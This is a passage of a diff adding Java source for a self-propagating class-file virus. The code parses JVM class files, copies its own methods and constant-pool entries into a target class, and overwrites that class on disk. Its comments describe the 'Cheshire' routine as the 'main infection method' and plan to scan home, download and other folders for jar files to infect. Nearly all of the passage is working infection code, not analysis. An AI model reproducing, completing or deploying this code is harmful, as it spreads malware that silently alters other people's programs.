+ } + } + b.putShort((short) num_entries); + b.put(bos.toByteArray()); + return b.array(); + } + else if(type.equals("LineNumberTable")){ + int table_length = buffer.getShort(); + b.putShort((short) table_length); + for(int i = 0; i < table_length; i++){ + b.putShort((short) (i+1)); + buffer.getShort(); + b.putShort(buffer.getShort()); + } + return b.array(); + } + return buffer.array(); +} + + /** + * Easily turn a Utf8 String index into a string we can read. + * @param index + * @param parsedClass + * @return + */ + public static String getUtf8Constant(int index, HashMap parsedClass){ + byte[][] constant_pool = (byte[][]) parsedClass.get("constant_pool"); + byte[] constant = constant_pool[index-1]; + return new String(Arrays.copyOfRange(constant, 3, constant.length)); + } + + /** + * Pass a set of bytes in a class, return the name of the method. + * @param method + * @param parsedClass + * @return + */ + public static String getMethodName(byte[] method, HashMap parsedClass){ + ByteBuffer method_buffer = ByteBuffer.wrap(method); + method_buffer.get(new byte[2]); + int name_index = method_buffer.getShort(); + return getUtf8Constant(name_index, parsedClass); + } + + /** + * + * Copy a method from one parsed class to another. + * If the method already exists, overwrite it. This is because I'm lazy and didn't want to write a + * separate method for handling injection. + * @param parsedClass + * @param orig_method_index + * @param destination + * @return The index of the method in the new file + * + */ + public static int copyMethod(HashMap origin, int orig_method_index, HashMap destination) throws IOException { + byte[][] orig_methods = (byte[][]) origin.get("methods"); + byte[] method = orig_methods[orig_method_index]; + boolean overwrite = false; + + String methodName = getMethodName(method, origin); + ByteBuffer method_buffer = ByteBuffer.wrap(method); + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + ByteBuffer b = ByteBuffer.allocate(8); + byte[] access_flags = new byte[2]; + method_buffer.get(access_flags); + b.put(access_flags); + int orig_name_index = method_buffer.getShort(); + int new_name_index = copyConstant(origin, orig_name_index, destination); + b.putShort((short) new_name_index); + + int orig_descriptor_index = method_buffer.getShort(); + int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination); + b.putShort((short) new_descriptor_index); + + int attribute_count = method_buffer.getShort(); + b.putShort((short) attribute_count); + bos.write(b.array()); + b.clear(); + HashMap offsets = new HashMap(); + origin.put("method_offsets", offsets); + + for(int i = 0; i < attribute_count; i++){ + b = ByteBuffer.allocate(6); + int old_name_index = method_buffer.getShort(); + int new_attr_name_index = copyConstant(origin, old_name_index, destination); + + int attribute_length = method_buffer.getInt(); + byte[][] cpool = (byte[][]) origin.get("constant_pool"); + + byte[] attr_name_bytes = cpool[old_name_index-1]; + String name = getUtf8Constant(old_name_index, origin); + + byte[] attribute = new byte[attribute_length]; + method_buffer.get(attribute); + + byte[] new_attribute = processAttribute(attribute, origin, destination, name); + + b.putShort((short) new_attr_name_index); + b.putInt(new_attribute.length); + bos.write(b.array()); + bos.write(new_attribute); + + + } + byte[][] dest_methods = (byte[][]) destination.get("methods"); + byte[][] temp_new_methods = new byte[dest_methods.length+1][]; + + for(int a = 0; a < dest_methods.length; a++){ + if(methodName.equals(getMethodName(dest_methods[a], destination))){ + overwrite = true; + } + } + if(overwrite == true){ + temp_new_methods = new byte[dest_methods.length][]; + for(int a = 0; a < dest_methods.length; a++){ + if(methodName.equals(getMethodName(dest_methods[a], destination))){ + temp_new_methods[a] = bos.toByteArray(); + } + else{ + temp_new_methods[a] = dest_methods[a]; + } + } + } + else{ + for(int a = 0; a < dest_methods.length; a++){ + temp_new_methods[a] = dest_methods[a]; + } + temp_new_methods[dest_methods.length] = bos.toByteArray(); + } + destination.put("methods", temp_new_methods); + return dest_methods.length+1; + } + + /** + * Add an item to the constant pool. + */ + public static int addToPool(HashMap parsedClass, byte[] new_data){ + byte[][] target_constant_pool = (byte[][]) parsedClass.get("constant_pool"); + int pool_size = target_constant_pool.length+1; + byte[][] temp_target_pool = new byte[pool_size][]; + for(int a = 0; a < pool_size-1; a++){ + temp_target_pool[a] = target_constant_pool[a]; + } + temp_target_pool[pool_size-1] = new_data; + parsedClass.put("constant_pool", temp_target_pool); + return pool_size; + } + + /** + * Get a class's name as a String based on the name of this_class. + * @param parsedClass + * @return + */ + public static String getClassName(HashMap parsedClass){ + byte[] selfClassBytes = (byte[]) parsedClass.get("this_class"); + byte[][] constant_pool = (byte[][]) parsedClass.get("constant_pool"); + ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes); + int self_class_index = selfBytes.getShort(); + byte[] selfClass = constant_pool[self_class_index-1]; + ByteBuffer selfClassBuff = ByteBuffer.wrap(selfClass); + selfClassBuff.get(); + int classNameIndex = selfClassBuff.getShort(); + return getUtf8Constant(classNameIndex, parsedClass); + } + + /** + * Let's think about how we're doing this... + * + * Ideally we want to pass in the original constant index, copy the data, place it in the target + * and return the new index. This makes copying methods easier when it comes to the attributes. + * + * @return The new index of the copied constant + */ + public static int copyConstant(HashMap origin, int origin_index, HashMap destination){ + byte[][] constant_pool = (byte[][]) origin.get("constant_pool"); + byte[] orig_constant = constant_pool[origin_index-1]; + + //Create a map between the old and new constant pools + //This will help us avoid copying too many vars over and being wasteful + if(origin.get("constant_pool_map") == null){ + HashMap constant_pool_map = new HashMap(); + origin.put("constant_pool_map", constant_pool_map); + } + HashMap constant_pool_map = (HashMap) origin.get("constant_pool_map"); + if(constant_pool_map.keySet().contains(origin_index)){ + return constant_pool_map.get(origin_index); + } + int const_tag = orig_constant[0]; + if(const_tag == 1){ + int new_index = addToPool(destination, orig_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else if(const_tag == 7){ + ByteBuffer b = ByteBuffer.allocate(3); + int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); + int new_name_index = copyConstant(origin, orig_name_index, destination); + b.put(orig_constant[0]); + b.putShort((short) new_name_index); + byte[] new_constant = b.array(); + int new_index; + if(getClassName(origin).equals(getUtf8Constant(orig_name_index, origin))){ + byte[] selfClassBytes = (byte[]) destination.get("this_class"); + ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes); + new_index = selfBytes.getShort(); + } + else{ + new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + } + return new_index; + } + else if(const_tag == 9 || const_tag == 10 || const_tag == 11){ + ByteBuffer b = ByteBuffer.allocate(5); + int orig_class_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); + int new_class_index = copyConstant(origin, orig_class_index, destination); + String thisClass = getClassName(origin); + byte[] methodClassBytes = constant_pool[orig_class_index-1]; + ByteBuffer methodClassBuffer = ByteBuffer.wrap(methodClassBytes); + methodClassBuffer.get(); + int classNameIndex = methodClassBuffer.getShort(); + String methodClassName = getUtf8Constant(classNameIndex, origin); + if(methodClassName.equals(getClassName(origin))){ + byte[] selfClassBytes = (byte[]) destination.get("this_class"); + byte[][] t_constant_pool = (byte[][]) destination.get("constant_pool"); + ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes); + new_class_index = selfBytes.getShort(); + } + b.put(orig_constant[0]); + b.putShort((short) new_class_index); + int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF)); + int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination); + b.putShort((short) new_name_and_type_index); + byte[] new_constant = b.array(); + int new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else if(const_tag == 8){ + ByteBuffer b = ByteBuffer.allocate(3); + b.put(orig_constant[0]); + int orig_string_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); + int new_string_index = copyConstant(origin, orig_string_index, destination); + b.putShort((short) new_string_index); + byte[] new_constant = b.array(); + int new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + + } + else if(const_tag == 3 || const_tag == 4 || const_tag == 5 || const_tag == 6){ + int new_index = addToPool(destination, orig_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else if(const_tag == 12){ + ByteBuffer b = ByteBuffer.allocate(5); + b.put(orig_constant[0]); + int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); + int new_name_index = copyConstant(origin, orig_name_index, destination); + b.putShort((short) new_name_index); + int orig_descriptor_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF)); + int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination); + b.putShort((short) new_descriptor_index); + byte[] new_constant = b.array(); + int new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else if(const_tag == 15){ + ByteBuffer b = ByteBuffer.allocate(4); + b.put(orig_constant[0]); + b.put(orig_constant[1]); + int old_reference_index = (short) (((orig_constant[2] & 0xFF) << 8) | (orig_constant[3] & 0xFF)); + int new_reference_index = copyConstant(origin, old_reference_index, destination); + b.putShort((short) new_reference_index); + byte[] new_constant = b.array(); + int new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else if(const_tag == 16){ + ByteBuffer b = ByteBuffer.allocate(3); + b.put(orig_constant[0]); + int orig_descriptor_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); + int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination); + b.putShort((short) new_descriptor_index); + byte[] new_constant = b.array(); + int new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else if(const_tag == 18){ + ByteBuffer b = ByteBuffer.allocate(5); + b.put(orig_constant[0]); + b.put(orig_constant[1]); + b.put(orig_constant[2]); + int orig_name_and_type_index = (short) (((orig_constant[3] & 0xFF) << 8) | (orig_constant[4] & 0xFF)); + int new_name_and_type_index = copyConstant(origin, orig_name_and_type_index, destination); + b.putShort((short) new_name_and_type_index); + byte[] new_constant = b.array(); + int new_index = addToPool(destination, new_constant); + constant_pool_map.put(origin_index, new_index); + return new_index; + } + else{ + return -1; + } + } + + /** + * Find jar files given a directory + * @param f + * @return + */ + public static void searchFile(File file, ArrayList fileList) { + File[] files = file.listFiles(); + if (files != null) { + for (File f : file.listFiles()) { + if (f.isFile() && f.getName().endsWith(".jar")) { + System.out.println("Added " + f.getAbsolutePath()); + fileList.add(f); + } else if (f.isDirectory() && f.canRead()) { + searchFile(f, fileList); + } + } + } + + } + /** + * This is our main infection method. + * We need to determine the target classfile name when we're copying this + * because you can't figure out what class you're in while you're using a + * static method. Can't call a method without a class unless the method is + * statis, so we're at a bit of a catch-22. The solution is simple to hardcode + * the class in the propagated bytecode. + * + * We need to know if we can just inject static methods or not. It seems like either + * way you'd still need to change the constant pool. + */ + public static void Cheshire() throws IOException { + System.out.println("We're all mad down here...you may notice that I'm not all there myself."); + + /** + * What logic do we want to implement? + * Search folders for jar files, open them, look for main classes and infect? + * Sounds good. How do we get our current path? Also need to know if on Linux or Windows. + * Scan user dirs, home folders, downloads and look for running Java processes if on applicable version. + */ + String h = MethodHandles.lookup().lookupClass().getResource(MethodHandles.lookup().lookupClass().getName() + ".class").getPath(); + System.out.println(h); + String selfpath = SelfExamine.class.getProtectionDomain().getCodeSource().getLocation().getPath().replace("file:", "") + "SelfExamine.class"; + System.out.println(selfpath); + String OS = (String) System.getProperties().get("os.name"); + String homedir = (String) System.getProperties().get("user.home"); + File home = new File(homedir); + File fa = new File("dongs.txt"); + fa.createNewFile(); + + + System.out.println("Detected OS is " + OS); + System.out.println("Home directory is " + homedir); + File f = new File("."); + System.out.println("Absolute path:" + f.getAbsolutePath()); + System.out.println("Directory listing:"); + + for(String s : f.list()){ + System.out.println(s); + } + System.out.println(f.list()); + selfpath = selfpath.substring(1); + HashMap parsedClass = parseClassFile(selfpath); + HashMap goatClass = parseClassFile("C:\\Users\\Mike\\Desktop\\VirtualMachineTest.class"); + findOurMethods(parsedClass, goatClass); + inject(parsedClass, goatClass); + + FileOutputStream fos = new FileOutputStream(new File("C:\\Users\\Mike\\Desktop\\VirtualMachineTest.class")); + byte[] classbytes = classBytes(goatClass); + fos.write(classbytes); + fos.close(); + + } + + /** + * Return a hashmap with all of our shit in it. + * We want to break this down into a hashmap of the sections + * with maybe an arraylist of...objects? How do we keep the complexity low? + * Store them as bytes? Do I even need to write a full parser? Probably not. + * + * + * @param classfilepath + * @return + * @throws IOException + */ + public static HashMap parseClassFile(String classfilepath) { + try { + + Paths.get(classfilepath); + byte[] classbytes = Files.readAllBytes(Paths.get(classfilepath)); + + DataInputStream dis = new DataInputStream(new ByteArrayInputStream(classbytes)); + byte[] magic = new byte[4]; + + HashMap parsedClass = new HashMap(); + dis.read(magic); + StringBuilder sb = new StringBuilder(); + + for (byte b : magic) { + sb.append(String.format("%02X", b)); + } + + if (sb.toString().equals("CAFEBABE")) { + parsedClass.put("magic", magic); + byte[] minor_version = new byte[2]; + dis.read(minor_version); + parsedClass.put("minor_version", minor_version); + byte[] major_version = new byte[2]; + dis.read(major_version); + parsedClass.put("major_version", major_version); + byte[] constant_pool_count = new byte[2]; + dis.read(constant_pool_count); + parsedClass.put("constant_pool_count", constant_pool_count); + int constant_count_int = (short) (((constant_pool_count[0] & 0xFF) << 8) | (constant_pool_count[1] & 0xFF)); + byte[][] constant_pool = new byte[constant_count_int-1][]; + + for (int i = 0; i < constant_count_int-1; i++) { + + byte tagbyte = dis.readByte(); + int tag = tagbyte; + + if (tag == 7) { + // CONSTANT_Class_info + byte[] class_info_bytes = new byte[3]; + class_info_bytes[0] = tagbyte; + class_info_bytes[1] = dis.readByte(); + class_info_bytes[2] = dis.readByte(); + constant_pool[i] = class_info_bytes; + } else if (tag == 9) { + //Constant_Fieldref + byte[] fieldref_info_bytes = new byte[5]; + fieldref_info_bytes[0] = tagbyte; + fieldref_info_bytes[1] = dis.readByte(); + fieldref_info_bytes[2] = dis.readByte(); + fieldref_info_bytes[3] = dis.readByte(); + fieldref_info_bytes[4] = dis.readByte(); + constant_pool[i] = fieldref_info_bytes; + } else if (tag == 10) { + //Constant_Methodref + byte[] methodref_info_bytes = new byte[5]; + methodref_info_bytes[0] = tagbyte; + methodref_info_bytes[1] = dis.readByte(); + methodref_info_bytes[2] = dis.readByte(); + methodref_info_bytes[3] = dis.readByte(); + methodref_info_bytes[4] = dis.readByte(); + constant_pool[i] = methodref_info_bytes; + } else if (tag == 11) { + //Constant_InterfaceMethodref + byte[] interfacemethodref_info_bytes = new byte[5]; + interfacemethodref_info_bytes[0] = tagbyte; + interfacemethodref_info_bytes[1] = dis.readByte(); + interfacemethodref_info_bytes[2] = dis.readByte(); + interfacemethodref_info_bytes[3] = dis.readByte(); + interfacemethodref_info_bytes[4] = dis.readByte(); + constant_pool[i] = interfacemethodref_info_bytes; + } else if (tag == 8) { + //Constant_String + byte[] string_info_bytes = new byte[3]; + string_info_bytes[0] = tagbyte; + string_info_bytes[1] = dis.readByte(); + string_info_bytes[2] = dis.readByte(); + constant_pool[i] = string_info_bytes; + } else if (tag == 3) { + //Constant_Integer + byte[] integer_info_bytes = new byte[5]; + integer_info_bytes[0] = tagbyte; + integer_info_bytes[1] = dis.readByte(); + integer_info_bytes[2] = dis.readByte(); + integer_info_bytes[3] = dis.readByte(); + integer_info_bytes[4] = dis.readByte(); + constant_pool[i] = integer_info_bytes; + } else if (tag == 4) { + //Constant_Float + byte[] float_info_bytes = new byte[5]; + float_info_bytes[0] = tagbyte; + float_info_bytes[1] = dis.readByte(); + float_info_bytes[2] = dis.readByte(); + float_info_bytes[3] = dis.readByte(); + float_info_bytes[4] = dis.readByte(); + constant_pool[i] = float_info_bytes; + } else if (tag == 5) { + //Constant_Long + byte[] long_info_bytes = new byte[9]; + long_info_bytes[0] = tagbyte; + long_info_bytes[1] = dis.readByte(); + long_info_bytes[2] = dis.readByte(); + long_info_bytes[3] = dis.readByte(); + long_info_bytes[4] = dis.readByte(); + long_info_bytes[5] = dis.readByte(); + long_info_bytes[6] = dis.readByte(); + long_info_bytes[7] = dis.readByte(); + long_info_bytes[8] = dis.readByte(); + constant_pool[i] = long_info_bytes; + } else if (tag == 6) { + //Constant_Double + byte[] double_info_bytes = new byte[9]; + double_info_bytes[0] = tagbyte; + double_info_bytes[1] = dis.readByte(); + double_info_bytes[2] = dis.readByte(); + double_info_bytes[3] = dis.readByte(); + double_info_bytes[4] = dis.readByte(); + double_info_bytes[5] = dis.readByte(); + double_info_bytes[6] = dis.readByte(); + double_info_bytes[7] = dis.readByte(); + double_info_bytes[8] = dis.readByte(); + constant_pool[i] = double_info_bytes; + } else if (tag == 12) { + //Constant_NameAndType + byte[] nameandtype_info_bytes = new byte[5]; + nameandtype_info_bytes[0] = tagbyte; + nameandtype_info_bytes[1] = dis.readByte(); + nameandtype_info_bytes[2] = dis.readByte(); + nameandtype_info_bytes[3] = dis.readByte(); + nameandtype_info_bytes[4] = dis.readByte(); + constant_pool[i] = nameandtype_info_bytes; + } else if (tag == 1) { + //Constant_Utf8 + byte[] lengthbytes = new byte[2]; + lengthbytes[0] = dis.readByte(); + lengthbytes[1] = dis.readByte(); + int length = (short) (((lengthbytes[0] & 0xFF) << 8) | (lengthbytes[1] & 0xFF)); + byte[] utf_bytes = new byte[3 + length]; + utf_bytes[0] = tagbyte; + utf_bytes[1] = lengthbytes[0]; + utf_bytes[2] = lengthbytes[1]; + for (int a = 0; a < length; a++) { + utf_bytes[a + 3] = dis.readByte(); + } + constant_pool[i] = utf_bytes; + } else if (tag == 15) { + //Constant_MethodHandle + byte[] methodhandle_info_bytes = new byte[4]; + methodhandle_info_bytes[0] = tagbyte; + methodhandle_info_bytes[1] = dis.readByte(); + methodhandle_info_bytes[2] = dis.readByte(); + methodhandle_info_bytes[3] = dis.readByte(); + constant_pool[i] = methodhandle_info_bytes; + } else if (tag == 16) { + //Constant_MethodType + byte[] methodtype_info_bytes = new byte[3]; + methodtype_info_bytes[0] = tagbyte; + methodtype_info_bytes[1] = dis.readByte(); + methodtype_info_bytes[2] = dis.readByte(); + constant_pool[i] = methodtype_info_bytes; + } else if (tag == 18) { + //Constant_InvokeDynamic + byte[] invokedynamic_info_bytes = new byte[5]; + invokedynamic_info_bytes[0] = tagbyte; + invokedynamic_info_bytes[1] = dis.readByte(); + invokedynamic_info_bytes[2] = dis.readByte(); + invokedynamic_info_bytes[3] = dis.readByte(); + invokedynamic_info_bytes[4] = dis.readByte(); + constant_pool[i] = invokedynamic_info_bytes; + } else { + } + + } + parsedClass.put("constant_pool", constant_pool); + byte[] access_flags = new byte[2]; + dis.read(access_flags); + parsedClass.put("access_flags", access_flags); + byte[] this_class = new byte[2]; + dis.read(this_class); + parsedClass.put("this_class", this_class); + byte[] super_class = new byte[2]; + dis.read(super_class); + parsedClass.put("super_class", super_class); + byte[] interfaces_count = new byte[2]; + dis.read(interfaces_count); + parsedClass.put("interfaces_count", interfaces_count); + + int iface_count = (short) (((interfaces_count[0] & 0xFF) << 8) | (interfaces_count[1] & 0xFF)); + byte[][] interfaces = new byte[iface_count][]; + + for (int iface_loop = 0; iface_loop < iface_count; iface_loop++) { + byte[] iface = new byte[2]; + iface[0] = dis.readByte(); + iface[1] = dis.readByte(); + interfaces[iface_loop] = iface; + } + + parsedClass.put("interfaces", interfaces); + + byte[] fields_count = new byte[2]; + dis.read(fields_count); + parsedClass.put("fields_count", fields_count); + int f_count = (short) (((fields_count[0] & 0xFF) << 8) | (fields_count[1] & 0xFF)); + + byte[][] fields = new byte[f_count][]; + + for (int fields_loop = 0; fields_loop < f_count; fields_loop++) { + ByteArrayOutputStream field = new ByteArrayOutputStream(); + byte[] fieldfixed = new byte[8]; + dis.read(fieldfixed); + field.write(fieldfixed); + int attributes_count = (short) (((fieldfixed[6] & 0xFF) << 8) | (fieldfixed[7] & 0xFF)); + for (int attributes = 0; attributes < attributes_count; attributes++) { + ByteArrayOutputStream attribute = new ByteArrayOutputStream(); + byte[] attribute_name_index = new byte[2]; + byte[] attribute_length = new byte[4]; + dis.read(attribute_name_index); + dis.read(attribute_length); + int attribute_len = ByteBuffer.wrap(attribute_length).getInt(); + byte[] info = new byte[attribute_len]; + dis.read(info); + attribute.write(attribute_name_index); + attribute.write(attribute_length); + attribute.write(info); + field.write(attribute.toByteArray()); + } + fields[fields_loop] = field.toByteArray(); + } + + parsedClass.put("fields", fields); + + byte[] methods_count = new byte[2]; + dis.read(methods_count); + + parsedClass.put("methods_count", methods_count); + + int method_count = (short) (((methods_count[0] & 0xFF) << 8) | (methods_count[1] & 0xFF)); + + byte[][] methods = new byte[method_count][]; + + for (int methods_loop = 0; methods_loop < method_count; methods_loop++) { + ByteArrayOutputStream methodbytes = new ByteArrayOutputStream(); + byte[] methodfixed = new byte[8]; + dis.read(methodfixed); + int attribute_count = (short) (((methodfixed[6] & 0xFF) << 8) | (methodfixed[7] & 0xFF)); + ByteArrayOutputStream method_attributes = new ByteArrayOutputStream(); + + for (int attribute_loop = 0; attribute_loop < attribute_count; attribute_loop++) { + ByteArrayOutputStream attribute = new ByteArrayOutputStream(); + byte[] attribute_name_index = new byte[2]; + byte[] attribute_length = new byte[4]; + dis.read(attribute_name_index); + dis.read(attribute_length); + int attribute_length_int = ByteBuffer.wrap(attribute_length).getInt(); + byte[] attribute_bytes = new byte[attribute_length_int]; + dis.read(attribute_bytes); + attribute.write(attribute_name_index); + attribute.write(attribute_length); + attribute.write(attribute_bytes); + method_attributes.write(attribute.toByteArray()); + } + methodbytes.write(methodfixed); + methodbytes.write(method_attributes.toByteArray()); + methods[methods_loop] = methodbytes.toByteArray(); + } + parsedClass.put("methods", methods); + + byte[] attributes_count = new byte[2]; + + dis.read(attributes_count); + + parsedClass.put("attributes_count", attributes_count); + + int attribute_count = (short) (((attributes_count[0] & 0xFF) << 8) | (attributes_count[1] & 0xFF)); + + byte[][] attributes = new byte[attribute_count][]; + + for (int attribute_loop = 0; attribute_loop < attribute_count; attribute_loop++) { + ByteArrayOutputStream attribute = new ByteArrayOutputStream(); + byte[] attribute_name_index = new byte[2]; + byte[] attribute_length = new byte[4]; + dis.read(attribute_name_index); + dis.read(attribute_length); + attribute.write(attribute_name_index); + attribute.write(attribute_length); + int attribute_length_int = ByteBuffer.wrap(attribute_length).getInt(); + byte[] attribute_bytes = new byte[attribute_length_int]; + dis.read(attribute_bytes); + attribute.write(attribute_bytes); + attributes[attribute_loop] = attribute.toByteArray(); + } + parsedClass.put("attributes", attributes); + dis.close(); + //fis.close(); + return parsedClass; + + } else { + return null; + } + } + catch(IOException e){ + e.printStackTrace(); + } + return null; + }; + + /** + * Convert a manipulated class back to bytes for writing. + * @param parsedClass + * @return + * @throws IOException + */ + public static byte[] classBytes(HashMap parsedClass) throws IOException { + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + bos.write((byte[]) parsedClass.get("magic")); + bos.write((byte[]) parsedClass.get("minor_version")); + bos.write((byte[]) parsedClass.get("major_version")); + byte[][] constant_pool = (byte[][]) parsedClass.get("constant_pool"); + int cp_length = constant_pool.length + 1; + + ByteBuffer b = ByteBuffer.allocate(2); + b.putShort((short) cp_length); + byte[] cp_length_bytes = b.array(); + bos.write(cp_length_bytes); + + for(int i = 0; i < constant_pool.length; i++){ + bos.write(constant_pool[i]); + } + bos.write((byte[]) parsedClass.get("access_flags")); + bos.write((byte[]) parsedClass.get("this_class")); + bos.write((byte[]) parsedClass.get("super_class")); + bos.write((byte[]) parsedClass.get("interfaces_count")); + byte[][] interfaces = (byte[][]) parsedClass.get("interfaces"); + for(int i = 0; i < interfaces.length; i++){ + bos.write(interfaces[i]); + } + bos.write((byte[]) parsedClass.get("fields_count")); + byte[][] fields = (byte[][]) parsedClass.get("fields"); + for(int i = 0; i < fields.length; i++){ + bos.write(fields[i]); + } + + byte[][] methods = (byte[][]) parsedClass.get("methods"); + + b.clear(); + b.putShort((short) methods.length); + byte[] methods_count = b.array(); + bos.write(methods_count); + for(int i = 0; i < methods.length; i++){ + bos.write(methods[i]); + } + + bos.write((byte[]) parsedClass.get("attributes_count")); + + byte[][] attributes = (byte[][]) parsedClass.get("attributes"); + for(int i = 0; i < attributes.length; i++){ + bos.write(attributes[i]); + } + + return bos.toByteArray(); + } + + public static void main(String[] args) throws IOException{ + Cheshire(); + System.exit(0); + } +}